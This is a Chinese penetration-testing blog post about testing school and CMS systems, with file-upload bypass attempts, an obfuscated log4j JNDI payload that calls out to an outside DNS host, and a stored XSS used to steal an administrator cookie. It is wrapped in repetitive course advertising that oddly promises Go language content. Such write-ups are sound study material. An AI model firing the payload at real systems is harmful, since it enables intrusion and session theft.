网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
测试到这里的时候差点开心的乐起来了,这day不就来了吗
结果哈,访问下shell路径,“惊喜”来了
这个系统不讲武德,访问过去,404,蚌埠住了555。
根据这个404,猜测后端逻辑可能是先上传后删除。但是我手上没有它的源码,也不知道后端的命名规则,尝试不了条件竞争。
接下来尝试上传jspx发现它也被404了。(当我写这篇文章的时候才想起来还有其他的后缀名jspa,jsv等的说不定可绕过删除然后getshell了呢,然而测试的时候只记得一个jspx,现在也测不了了,雪崩)
测试到这里已经是遇到困难准备睡大觉了。
结果哈,啪的一下很快。万能学长Ssh1y一套连五鞭,扫出来个php文件
直接心潮澎湃,试试上传php。上传后发现不解析只下载。于是寻求穿越到其他目录,抓包测试发现也无法穿越。
想了很久不知道咋办。突然来了个思路,先上传个php文件,然后再上传个html,让html里的js把数据传到那个php文件让它去处理。说不定这俩结合起来能实现getshell。
测试了一下,确实,想法很美好,现实啪的一下给我来了个大比兜。又失败了。
最终测试成果就只有上传一个html造成个XSS
心碎了心碎了。
有机会拿到源码的话一定要看看这里的后端逻辑。
0x02某某大学 Apache log4j RCE
把这个例子拿出来讲是有原因,具体是什么原因请大家往下阅读
测试:
一个课程平台,不需要登录。搜索条件处直接打poc
context=2&q=%24{j%24{::-n}di:dns%24{::-:}%24{:😕}/27738c90%24{::-.}xssx1.com}zzzz
DNS收到反弹
后面测试发现另一个参数title也能触发
打到这里的时候就直接通报相关负责老师了,没有进一步的继续利用(后悔了,应该交个SRC的555)。
然后突然有个疑惑,这个站看起来也不像用了apache组件,为啥就给测出了log4j呢
根据后续的沟通了解到,这台服务器底层用了solr,因为solr的一些问题才产生的log4j。直接把solr调整一些配置就行了。
相关问题:https://solr.apache.org/security.html
因此,在我们遇到网站可能有solr服务的时候,可以直接试试log4j,说不定有意外收获hhh。
0x03 某小众CMS 后台登陆存储型XSS
去年十月份测的一个CMS,后台登录的地方可以直接打XSS然后窃取管理员Cookie。已修复。
测试:
/index.php?g=Admin
登录,抓包,修改密码,改为
访问后台登录日志处,直接弹窗
后续尝试窃取Cookie成功!
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!**
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新